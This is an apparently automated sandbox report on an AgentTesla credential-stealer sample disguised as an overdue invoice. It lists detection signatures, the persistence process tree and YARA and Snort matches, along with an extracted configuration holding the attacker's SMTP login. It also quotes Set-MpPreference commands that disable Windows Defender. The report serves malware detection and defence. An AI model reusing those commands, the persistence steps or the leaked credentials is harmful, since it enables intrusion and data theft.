Edit tour

Windows Analysis Report
Overdue invoice.exe

Overview

General Information

Sample Name:	Overdue invoice.exe
Analysis ID:	635084
MD5:	21c2f8cc3f1d71ffb036ca3788a346b6
SHA1:	b1f681eb0c5b406bad2414829d003568ab44982c
SHA256:	8e68ac628396cbb8619a54ffce8aedae2a20ca23e514813b70c99987175f735d
Tags:	agentteslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Yara detected AntiVM3

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Initial sample is a PE file and has a suspicious name

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Modifies the hosts file

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Machine Learning detection for dropped file

Hides that the sample has been downloaded from the Internet (zone.identifier)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

Overdue invoice.exe (PID: 6504 cmdline: "C:\Users\user\Desktop\Overdue invoice.exe" MD5: 21C2F8CC3F1D71FFB036CA3788A346B6)

schtasks.exe (PID: 7056 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmpA306.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 7088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Overdue invoice.exe (PID: 7124 cmdline: {path} MD5: 21C2F8CC3F1D71FFB036CA3788A346B6)

Overdue invoice.exe (PID: 7140 cmdline: {path} MD5: 21C2F8CC3F1D71FFB036CA3788A346B6)

yqWDN.exe (PID: 5496 cmdline: "C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe" MD5: 21C2F8CC3F1D71FFB036CA3788A346B6)

schtasks.exe (PID: 5080 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\dYXeRswtYBrq" /XML "C:\Users\user\AppData\Local\Temp\tmp2055.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

yqWDN.exe (PID: 5572 cmdline: {path} MD5: 21C2F8CC3F1D71FFB036CA3788A346B6)

yqWDN.exe (PID: 7048 cmdline: "C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe" MD5: 21C2F8CC3F1D71FFB036CA3788A346B6)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "ashutosh@jkudyog.com", "Password": "%$#@lkjhgfdsa", "Host": "mail.jkudyog.com"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000013.00000000.366458580.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000000.366458580.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.519470076.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000007.00000000.294988702.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000000.294988702.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000007.00000000.295945880.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000000.295945880.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000013.00000000.366994504.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000000.366994504.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000007.00000000.295465407.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000000.295465407.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.522484179.0000000003041000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000000.294210578.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000000.294210578.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000F.00000002.378013888.0000000003CEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.378013888.0000000003CEF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000013.00000000.365073156.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000000.365073156.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.521991645.0000000003401000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000000.365965578.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000000.365965578.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000013.00000002.519516875.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.519516875.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.302129408.0000000003B92000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000010.00000002.373874318.0000000003C5F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000010.00000002.373874318.0000000003C5F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.300706050.000000000393F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
Process Memory Space: Overdue invoice.exe PID: 6504	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Overdue invoice.exe PID: 6504	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Overdue invoice.exe PID: 7140	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Overdue invoice.exe PID: 7140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yqWDN.exe PID: 5496	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: yqWDN.exe PID: 5496	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: yqWDN.exe PID: 7048	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: yqWDN.exe PID: 7048	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: yqWDN.exe PID: 5572	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: yqWDN.exe PID: 5572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 37 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
16.2.yqWDN.exe.3de2e78.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.yqWDN.exe.3de2e78.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
16.2.yqWDN.exe.3de2e78.2.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30e30:$s10: logins 0x30897:$s11: credential 0x2ce34:$g1: get_Clipboard 0x2ce42:$g2: get_Keyboard 0x2ce4f:$g3: get_Password 0x2e15c:$g4: get_CtrlKeyDown 0x2e16c:$g5: get_ShiftKeyDown 0x2e17d:$g6: get_AltKeyDown
19.0.yqWDN.exe.400000.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.8.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.8.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
19.0.yqWDN.exe.400000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.6.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.6.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
16.2.yqWDN.exe.3de2e78.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.yqWDN.exe.3de2e78.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
16.2.yqWDN.exe.3de2e78.2.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
7.0.Overdue invoice.exe.400000.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.10.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.10.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
7.0.Overdue invoice.exe.400000.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.6.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.6.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
15.2.yqWDN.exe.3e72e78.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.yqWDN.exe.3e72e78.2.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
15.2.yqWDN.exe.3e72e78.2.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x67250:$s10: logins 0x32697:$s11: credential 0x66cb7:$s11: credential 0x2ec34:$g1: get_Clipboard 0x63254:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x63262:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x6326f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x6457c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x6458c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown 0x6459d:$g6: get_AltKeyDown
7.0.Overdue invoice.exe.400000.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.12.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.12.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
19.2.yqWDN.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.2.yqWDN.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
19.2.yqWDN.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
19.0.yqWDN.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
7.2.Overdue invoice.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.Overdue invoice.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
7.2.Overdue invoice.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
19.0.yqWDN.exe.400000.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.10.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.10.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
7.0.Overdue invoice.exe.400000.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.8.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.8.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
19.0.yqWDN.exe.400000.12.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.12.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
19.0.yqWDN.exe.400000.12.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
15.2.yqWDN.exe.2d1039c.1.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x2aba80:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x2abac4:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2abb0c:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2abd98:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true 0x2abdfc:$s2: Set-MpPreference -DisableArchiveScanning $true 0x2abe54:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x2abeac:$s4: Set-MpPreference -DisableScriptScanning $true 0x2abef8:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x2abf38:$s6: Set-MpPreference -MAPSReporting 0 0x2abf84:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x2abfdc:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x2ac02c:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x2ac07c:$s10: Set-MpPreference -SevereThreatDefaultAction 6
0.2.Overdue invoice.exe.3ac2e78.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Overdue invoice.exe.3ac2e78.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Overdue invoice.exe.3ac2e78.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30e30:$s10: logins 0x30897:$s11: credential 0x2ce34:$g1: get_Clipboard 0x2ce42:$g2: get_Keyboard 0x2ce4f:$g3: get_Password 0x2e15c:$g4: get_CtrlKeyDown 0x2e16c:$g5: get_ShiftKeyDown 0x2e17d:$g6: get_AltKeyDown
7.0.Overdue invoice.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
7.0.Overdue invoice.exe.400000.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
15.2.yqWDN.exe.3e72e78.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.yqWDN.exe.3e72e78.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
15.2.yqWDN.exe.3e72e78.2.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x30e30:$s10: logins 0x30897:$s11: credential 0x2ce34:$g1: get_Clipboard 0x2ce42:$g2: get_Keyboard 0x2ce4f:$g3: get_Password 0x2e15c:$g4: get_CtrlKeyDown 0x2e16c:$g5: get_ShiftKeyDown 0x2e17d:$g6: get_AltKeyDown
15.2.yqWDN.exe.3d8e3f8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
15.2.yqWDN.exe.3d8e3f8.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
15.2.yqWDN.exe.3d8e3f8.3.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x1176b0:$s10: logins 0x14bcd0:$s10: logins 0x117117:$s11: credential 0x14b737:$s11: credential 0x1136b4:$g1: get_Clipboard 0x147cd4:$g1: get_Clipboard 0x1136c2:$g2: get_Keyboard 0x147ce2:$g2: get_Keyboard 0x1136cf:$g3: get_Password 0x147cef:$g3: get_Password 0x1149dc:$g4: get_CtrlKeyDown 0x148ffc:$g4: get_CtrlKeyDown 0x1149ec:$g5: get_ShiftKeyDown 0x14900c:$g5: get_ShiftKeyDown 0x1149fd:$g6: get_AltKeyDown 0x14901d:$g6: get_AltKeyDown
16.2.yqWDN.exe.3cfe3f8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.yqWDN.exe.3cfe3f8.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
16.2.yqWDN.exe.3cfe3f8.3.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x1176b0:$s10: logins 0x117117:$s11: credential 0x1136b4:$g1: get_Clipboard 0x1136c2:$g2: get_Keyboard 0x1136cf:$g3: get_Password 0x1149dc:$g4: get_CtrlKeyDown 0x1149ec:$g5: get_ShiftKeyDown 0x1149fd:$g6: get_AltKeyDown
0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Overdue invoice.exe.3ac2e78.4.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x32c30:$s10: logins 0x32697:$s11: credential 0x2ec34:$g1: get_Clipboard 0x2ec42:$g2: get_Keyboard 0x2ec4f:$g3: get_Password 0x2ff5c:$g4: get_CtrlKeyDown 0x2ff6c:$g5: get_ShiftKeyDown 0x2ff7d:$g6: get_AltKeyDown
0.2.Overdue invoice.exe.39de3f8.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Overdue invoice.exe.39de3f8.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Overdue invoice.exe.39de3f8.3.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x1176b0:$s10: logins 0x117117:$s11: credential 0x1136b4:$g1: get_Clipboard 0x1136c2:$g2: get_Keyboard 0x1136cf:$g3: get_Password 0x1149dc:$g4: get_CtrlKeyDown 0x1149ec:$g5: get_ShiftKeyDown 0x1149fd:$g6: get_AltKeyDown
0.2.Overdue invoice.exe.2960384.1.raw.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x2aba80:$reg1: SOFTWARE\Microsoft\Windows Defender\Features 0x2abac4:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2abb0c:$reg2: SOFTWARE\Policies\Microsoft\Windows Defender 0x2abd98:$s1: Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true 0x2abdfc:$s2: Set-MpPreference -DisableArchiveScanning $true 0x2abe54:$s3: Set-MpPreference -DisableIntrusionPreventionSystem $true 0x2abeac:$s4: Set-MpPreference -DisableScriptScanning $true 0x2abef8:$s5: Set-MpPreference -SubmitSamplesConsent 2 0x2abf38:$s6: Set-MpPreference -MAPSReporting 0 0x2abf84:$s7: Set-MpPreference -HighThreatDefaultAction 6 0x2abfdc:$s8: Set-MpPreference -ModerateThreatDefaultAction 6 0x2ac02c:$s9: Set-MpPreference -LowThreatDefaultAction 6 0x2ac07c:$s10: Set-MpPreference -SevereThreatDefaultAction 6
Click to see the 60 entries

Snort Signatures

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.3 - Destination IP: 206.183.111.188

Timestamp:	192.168.2.3206.183.111.188497155872840032 05/27/22-12:53:52.919110
SID:	2840032
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.3 - Destination IP: 206.183.111.188

Timestamp:	192.168.2.3206.183.111.188497155872030171 05/27/22-12:53:52.919010
SID:	2030171
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.3 - Destination IP: 206.183.111.188

Timestamp:	192.168.2.3206.183.111.188497455872030171 05/27/22-12:54:26.668198
SID:	2030171
Source Port:	49745
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.3 - Destination IP: 206.183.111.188

Timestamp:	192.168.2.3206.183.111.188497155872839723 05/27/22-12:53:52.919010
SID:	2839723
Source Port:	49715
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.3 - Destination IP: 206.183.111.188

Timestamp:	192.168.2.3206.183.111.188497455872840032 05/27/22-12:54:26.668311
SID:	2840032
Source Port:	49745
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.3 - Destination IP: 206.183.111.188

Timestamp:	192.168.2.3206.183.111.188497455872839723 05/27/22-12:54:26.668198
SID:	2839723
Source Port:	49745
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 19.0.yqWDN.exe.400000.6.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "ashutosh@jkudyog.com", "Password": "%$#@lkjhgfdsa", "Host": "mail.jkudyog.com"}

Multi AV Scanner detection for submitted file

Source: Overdue invoice.exe	Virustotal: Detection: 60%			Perma Link
Source: Overdue invoice.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\dYXeRswtYBrq.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Roaming\yqWDN\yqWDN.exe	ReversingLabs: Detection: 60%

Machine Learning detection for sample

Source: Overdue invoice.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

